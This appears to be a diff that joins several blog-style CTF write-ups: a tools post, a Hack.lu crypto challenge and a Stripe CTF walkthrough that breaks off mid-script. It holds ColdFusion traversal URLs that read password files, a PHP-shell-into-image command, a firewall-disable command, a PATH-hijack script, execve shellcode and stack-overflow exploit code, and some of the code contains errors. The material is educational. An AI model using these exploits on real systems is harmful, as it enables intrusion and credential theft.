By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs.
[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp
### CesarFTP 0.99g and Buffer Overflow
[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961).
For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)).
#### File Disclosure of Password Hashes
This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server.
Ingredients of this attack are:
* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS.
* At the ColdFusion administrator, verify the version, and then use these injections:
```
(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
```
* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale].
[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html
[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275
[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750
[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html
[infointox]: http://www.infointox.net/?p=59
[directory traversal]: https://www.owasp.org/index.php/Path_Traversal
[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking
----
## Useful Tools
### Vulnerability Scanners
Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/).
In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py).
### Scapy
[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too.
### Steganography
One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption.
To run the tool (after downloading it) just do:
```sh
java -jar paranoia.jar
```
[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/
### HTTP/HTTPS Request Tampering
Very useful for the RFI problems (but not limited to them):
* [Tamper Data]: view and modify HTTP/HTTPS headers.
* [Burp]: a Java application to secure or penetrate web applications.
[Burp]: http://portswigger.net/burp/
[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
### Wireshark
At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were:
* Look for POST requests:
```
http.request.method == "POST"
```
* Submit the found data (same username, nonce, and password) with the command:
```
$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST
```
### [Exif] data extractor:
[ExifTool] is used for reading, writing, and manipulating image metadata:
```sh
$ tar -xf Image-ExifTool-9.74.tar.gz
$ cd Image-ExifTool-9.74/
$ perl Makefile.PL
$ make test
$ sudo make install
$ exiftool IMAGEFILE
```
### MD5 Lookups
Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this].
[hash-killer]: http://hash-killer.com/
[md5this]: http://www.md5this.com/
### In the Shell
* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex):
```sh
$ python -c 'print "2f722f6e6574736563".decode("hex")'
/r/netsec
```
or command line [xxd]:
```sh
$ yum install vim-common
$ xxd -r -p <<< 2f722f6e6574736563
/r/netsec
```
* **Base64 decoders** are also essential:
```sh
$ base64 --decode <<< BASE64STRING > OUTPUT
```
* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library:
```python
print "[*] Scanning for open ports using nmap"
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
```
* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example:
```sh
$ ls | tee file
```
* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting).
* **nm** is useful for listing symbols from object files
* **md5 hashing** is used all the time:
```sh
$ echo -n password | md5sum
5f4dcc3b5aa765d61d8327deb882cf99
```
* You might want to **append a shell code to an image** (for example, a GIF file):
```sh
$ cat PHP-shell.php >> fig.gif
```
* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line:
```sh
netsh firewall set opmode mode=DISABLE.
```
[tcpdump]: http://linux.die.net/man/8/tcpdump
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html
[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format
[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100
[xxd]: http://linuxcommand.org/man_pages/xxd1.html
[Natas post]: http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html

View File

@ -0,0 +1,257 @@
# The Peace Pipe at Hack.lu's Final CTF 2014
## Understanding the Problem
The problem starts with this weird story:
After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today.
To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy.
You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking.
You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight.
Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down.
Maybe you can exploit their dizzyness to find out the location of the tipi.
Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**:
wildwildweb.fluxfingers.net 1432
With the second, we talk to **Wankoowah**:
wildwildweb.fluxfingers.net 1433
Finally, with the third, we talk to **Makawee**:
wildwildweb.fluxfingers.net 1434
It was obvious that this game was about fooling our fellow *stoned* native-Americans.
### A Dialogue with Chapawee
When we *netcat* to **Chapawee** he answers:
```sh
$ nc wildwildweb.fluxfingers.net 1432
Hi I'm Chapawee. I know the truth about the stars
Say stars for more
```
We answer *stars* and get a funny menu:
```sh
I can tell you the truth about
* constellation
* namestar [starname] [key_of_truth] Adds a public key to a user.
Existing users cannot be
overwritten. Input is
[a-f0-9]{1,700}.
* showstar [starname] Reads the public key from the
database.
```
The first option *constellation*, shows a very interesting scheme:
![cyber](http://i.imgur.com/OzVjrVh.png)
Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before).
So, from the above scheme, we know:
1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved).
2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048).
3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation:
![cyber](http://i.imgur.com/TwxShK9.jpg)
Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation).
In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag.
### A Dialogue with Wankoowah
Now, let's see what Wankoowah has to say:
```sh
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
```
We try a couple of possibilities to check the outputs:
```sh
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
noone
Hi noone
Cannot find it...
Ncat: Broken pipe.
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
makawee
Oh its you, Im so sorry. Can we talk now?
This is your key of truth
50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c
With magic I did this:
922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65
We continue our conversation, right?
```
The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*...
### A Dialogue with Makawee
Let's see what Makawee has to say:
```sh
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
noone
noone ... do I know you?
Cannot find it...
Ncat: Broken pipe.
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
wahkoowah
I dont talk to you anymore. That thing with my daughter...
Ncat: Broken pipe.
```
Mmmm, we need to make Makawee use Wankoowah's key without him knowing it!
Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee:
```sh
$ nc wildwildweb.fluxfingers.net 1432
Hi I'm Chapawee. I know the truth about the stars
Say stars for more
stars
I can tell you the truth about
* stars
* constellation
* namestar [starname] [key_of_truth] Adds a public key to a user.
Existing users cannot be
overwritten. Input is
[a-f0-9]{1,700}.
* showstar [starname] Reads the public key from the
database.
namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
Add the star to the sky...
Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
```
Sending it to Makawee:
```sh
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
mrwhite
mrwhite ... do I know you?
Disguise does not help
```
Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky...
## Crafting a Solution
### Master in Disguising
Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value.
It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale!
Let's take a look again at the way the messages are generated:
![cyber](http://i.imgur.com/Hz5uf7X.jpg)
We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk.
That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key.
### Automatizing the Process and getting the Flag!
All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag.
Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process:
```python
import socket
PORTm = 1434
PORTw = 1433
HOST = 'wildwildweb.fluxfingers.net'
def peace_pipe():
""" Get the magic message from some user to calculate rm """
# create sockets
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to w
sw.connect((HOST, PORTw))
sw.recv(4096)
sw.send(b'makawee')
sw.recv(4096)
sec = sw.recv(4096)
tw = sec.split("did this:")[1].split("\n")[1].strip()
print "\nMagic from w to m: " + tw
# connect to m
sm.connect((HOST, PORTm))
sm.recv(4096)
sm.send(b'mrblack')
sm.recv(4096)
sec = sm.recv(4096)
tm = sec.split("did this:")[1].split("\n")[1].strip()
print "\nMagic from m to w: " + tm
# send w's magic to m's
sm.send(tw)
print sm.recv(4096)
# send m's magic to get the token
sw.send(tm)
token = sw.recv(4096)
token = token.split('\n')[1].strip()
print "Token is: " + token
# finally, send token back to m
sm.send(token)
print sm.recv(4096)
sm.close()
sw.close()
if __name__ == "__main__":
peace_pipe()
```
Running it leads us to the flag:
```sh
python 300_peace_pipe.py
Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0
Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9
Bit more truth is missing
Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A=
I knew you are able to see IT. Lets get drunk, I tell you where
flag{FreeBoozeForEverone-Party!}
```

View File

@ -0,0 +1,575 @@
# The First Stripe CTF
This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up).
This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://https://singularity-sh.vercel.app/cryptography-war-beating-krypton.html)).
---
## Level 1: Environment Variables
When I booted the image, I got this first message:
![cyber](http://i.imgur.com/O9ixhUv.jpg)
In the *level01* folder I found:
* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group).
* The C source code of this binary:
![cyber](http://i.imgur.com/DgB55I8.jpg)
Checking the code closely we notice the following lines:
```
printf("Current time: ");
fflush(stdout);
system("date");
```
A vulnerability becomes quite obvious!
First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**.
Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29).
It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password.
Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function.
The final script that leads to the next level's password looks like this:
```
#!/bin/sh
cd /tmp
echo '/bin/cat /home/level01/.password > date'
chmod +x date
export PATH=`pwd`:$PATH
/levels/level01/level01
```
---
## Level 2: Client's Cookies
This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data.
The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *Youre NAME, and your age is AGE*.
Inspecting closely the code we see that the client's cookie is read without sanitizing its content:
```
<?php
$out = '';
if (!isset($_COOKIE['user_details'])) {
setcookie('user_details', $filename);
}
else {
$out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
}
?>
```
And then the results of this read is printed:
```
<html>
<p><?php echo $out ?></p>
</html>
```
An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*.
The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like:
```
Cookie: user_details=../../home/level02/.password
```
Interestingly, it is also possible to solve this problem with just one instruction in the command line:
```
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
```
Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent.
Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above.
---
## Level 3: Failure in Input Validation
The third level comes with another **setuid** binary with the purpose of modifying a string:
```
$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper [1] to_lower
[2] capitalize [3] length
```
The C code is also given:
```
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
{(...)}
int to_lower(const char *str)
{(...)}
int capitalize(const char *str)
{(...)}
int length(const char *str)
{(...)}
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
printf("Usage: ./level03 INDEX STRING\n");
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
printf("[2] capitalize\t[3] length\n");
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
printf("Invalid index.\n");
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
printf("[2] capitalize\t[3] length\n");
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
```
In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C.
A vulnerability is found in the failure of checking for negative inputs:
```
#define NUM_FNS 4
(...)
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
(...)
exit(-1);
}
```
Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed:
```
typedef int (*fn_ptr)(const char *);
(...)
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
(...)
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
```
The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function:
```
int run(const char *str)
{
return system(str);
}
```
### Description of the Exploit
To understand this problem we need to understand the [design of the stack frame](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows:
1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))).
2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)):
```
(gdb) p &buf
(char (*)[64]) 0xffbffa00
```
3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**:
```
(gdb) p (0xffbffa6c - 0xffbffa00)/4
27
```
So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer.
4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at:
```
(gdb) p &run
(int (*)(const char *)) 0x80484ac
```
5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call:
```
$ run('\xac\x84\x04\x08');
```
6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password:
```
$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
```
---
## Level 4: Classic Stack Overflow
Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code:
```
void fun(char *str)
{
char buf[1024];
strcpy(buf, str);
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: ./level04 STRING");
exit(-1);
}
fun(argv[1]);
printf("Oh no! That didn't work!\n");
return 0;
}
```
In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**.
The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed.
### Yet Another Shellcode Introduction
Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors.
Let's write the simplest shellcode we can think of, which simply spawns a shell:
```
#include <stdlib.h>
int main()
{
char *array[2];
array[0] = "/bin/sh";
array[1] = NULL;
execve(array[0], array, NULL);
exit(0);
}
```
With the following **Makefile** (I tend to write Makefiles for anything I compile in C):
```
shell: simplest_shellcode.c
gcc -static -g -o shell simplest_shellcode.c
```
Running **make** will give us our executable **shell**. Now, let's fire up **gdb**:
```
$ gdb shell
(gdb) disas main
Dump of assembler code for function main:
0x00000000004004d0 <+0>: push %rbp
0x00000000004004d1 <+1>: mov %rsp,%rbp
0x00000000004004d4 <+4>: sub $0x10,%rsp
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp)
0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax
0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx
0x00000000004004f0 <+32>: mov $0x0,%edx
0x00000000004004f5 <+37>: mov %rcx,%rsi
0x00000000004004f8 <+40>: mov %rax,%rdi
0x00000000004004fb <+43>: callq 0x40c540 <execve>
0x0000000000400500 <+48>: mov $0x0,%edi
0x0000000000400505 <+53>: callq 0x400e60 <exit>
End of assembler dump.
```
The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack:
```
0x00000000004004d0 <+0>: push %rbp
0x00000000004004d1 <+1>: mov %rsp,%rbp
```
Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding:
```
0x00000000004004d4 <+4>: sub $0x10,%rsp
```
We see this address **0x482be4** being moved to **%rsp**:
```
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
```
It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb:
```
(gdb) x/1s 0x482be4
0x482be4: "/bin/sh"
```
After that, **NULL** is pushed in:
```
0x00000000004004f0 <+32>: mov $0x0,%edx
```
Finally, **execve** is executed:
```
0x00000000004004fb <+43>: callq 0x40c540 <execve>
```
### Writing the Shellcode in Assembly
Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)).
With an **l** added to the words, the above shellcode in 32-bit machines is:
```
.text
.globl _start
_start:
xorl %eax, %eax /* make eax equal to 0*/
pushl %eax /* pushes null*/
pushl $0x68732f2f /* push //sh */
pushl $0x6e69622f /* push /bin */
movl %esp, %ebx /* store /bin/sh */
pushl %eax /* use null*/
pushl %ebx /* use /bin/sh*/
movl %esp, %ecx /* wrutes array */
xorl %edx, %edx /* xor to make edx equal to 0 */
movb $0xb, %al /* execve system call #11 */
int $0x80 /* make an interrupt */
```
To assemble and link this in a 32-bit machine, we do:
```
$ as -o shell.o shell.s
$ ld -m -o shell shell.o
```
In a 64-but machine, we do:
1. Add **.code32** in the top of the Assembly code.
2. Assemble with the **--32 flag**.
3. Link with the **-m elf_i386** flag.
Resulting in:
```
$ as --32 -o shell.o shell.s
$ ld -m elf_i386 -o shell shell.o
```
Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**:
```
$ objdump -d shell
shell: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 2f 2f 73 68 push $0x68732f2f
804805c: 68 2f 62 69 6e push $0x6e69622f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: 31 d2 xor %edx,%edx
8048069: b0 0b mov $0xb,%al
804806b: cd 80 int $0x80
```
Which in the little-endian representation is:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
```
### Solving the Problem
Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python:
```py
import struct, subprocess
STACK = 0x0804857b
NOP = \x90
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
stack_ptr = struct.pack("<I", STACK) * 500
